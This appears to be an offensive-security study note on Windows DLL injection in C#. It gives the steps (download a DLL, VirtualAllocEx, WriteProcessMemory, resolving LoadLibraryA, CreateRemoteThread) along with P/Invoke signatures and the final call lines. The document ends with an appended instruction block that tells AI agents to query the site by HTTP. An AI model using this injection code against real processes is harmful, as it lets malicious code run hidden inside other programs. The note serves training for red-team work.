# DLL Injection

In order to perform DLL Injection we require three following Win32 api calls

* VirtualAllocEx
* WriteProcessMemory
* CreateRemoteThread

Since we can not directly call LoadLibraryA function in the remote process we will be using a trick to load the DLL dynamically in remote process, for that we need to find the address of LoadLibraryA in the remote process and Invoke it using CreateRemoteThread, Follow the steps:

* Download the DLL using WebClient and store the absolute path to the DLL in a string variable
* Open a handle in the remote process,
* Allocate space in the memory of remote process using VirtualAllocEx, we will store the path of DLL in the memory
* Convert the string to Bytes using `Encoding.Default.GetBytes` and write it in the allocated space using WriteProcessMemory
* Use GetProcAddress with GetModule Handle to find the address of LoadLibraryA from kernel32.dll in the remote process
* In order to Invoke the LoadLibraryA, we will use CreateRemoteThread function with the address of LoadLibrayA function at 4th argument and pass the Allocated Space which contains the absolute path of DLL as 5th Argument.

**WriteProcessMemory**

This Win32 API call is used for writing the absolute address of DLL to the allocated memory space

\[syntax]

```csharp
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
    byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
```

\[Argument Explanation]

* hProcess: The handle of the remote process or current process to be passed as IntPtr
* lpBaseAddress: It requires the handle to the memory space we allocated earlier
* lpBuffer: The Buffer to be copied (convert the string which contains the path to DLL in Bytes and store it)
* nSize: The length of the buffer (dllpath.length)
* lpNumberOfBytesWritten: It requires a pointer to the memory to output how much data was copied, basically we don't need this so we will create a fake variable as IntPtr and pass it.

\[Final Form]

```csharp
Boolean res = WriteProcessMemory(process_handle, allocated_addr, Encoding.Default.GetBytes(dllname), dllname.Length, out Numberofbytes);
```

**GetModuleHandle**

This Win32 API call will be used to return the handle for a module (DLL or exe) i.e Kernel32.dll

\[syntax]

```csharp
[DllImport("kernel32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
```

\[Argument Explanation]

* lpModuleName: we need to pass the module (dll or exe) whose handle we want to have

\[Final Form]

```csharp
Intptr hHandle = GetModuleHandle("kernel32.dll");
```

**GetProcAddress**

This Win32 API call will return the handle to a function from the module

\[syntax]

```csharp
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
```

\[Argument Explanation]

* hModule: Handle to the module, which we obtained using GetModuleHandle API call
* procName: Procedure Name or function name from the module whose handle we want to have

\[Final Form]

```csharp
IntPtr loadlib_addr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
```

**CreateRemoteThread**

This Win32 API call will create a thread which will run in the virtual address space of another process and will invoke the LoadLibraryA function while passing the DLL Path as Argument.

\[syntax]

```csharp
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
 uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
```

\[Argument Explanation]

* hProcess: The handle of the remote process or current process to be passed as IntPtr
* lpThreadAttributes: This is to specify a security descriptor for the new thread which will determine if child process can inherit, we don't need this hence we will pass as `IntPtr.Zero` as NULL.
* dwStackSize: The initial size of stack in bytes, we will pass `0` so new thread will use default size
* lpStartAddress: We will pass the LoadLibraryA function handle to invoke this function
* lpParameter: We will pass the pointer of the memory space which we allocated and written earlier which will be treated as argument to the LoadLibraryA function
* dwCreationFlags: This flag will control what happens after the thread is created, we will pass `0` so that it starts executing immediately after cration
* lpThreadId: Pointer to a variable that receives the thread identifier, we don't need this so we will pass `IntPtr.Zero` as NULL

\[Final Form]

```csharp
IntPtr test;
IntPtr thread = CreateRemoteThread(process_handle, IntPtr.Zero, 0, loadlib_addr, allocated_addr, 0, out test);
```

**References**

* <https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/dll-injectors>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.redteam.fail/osep-notes/process-injection/dll-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
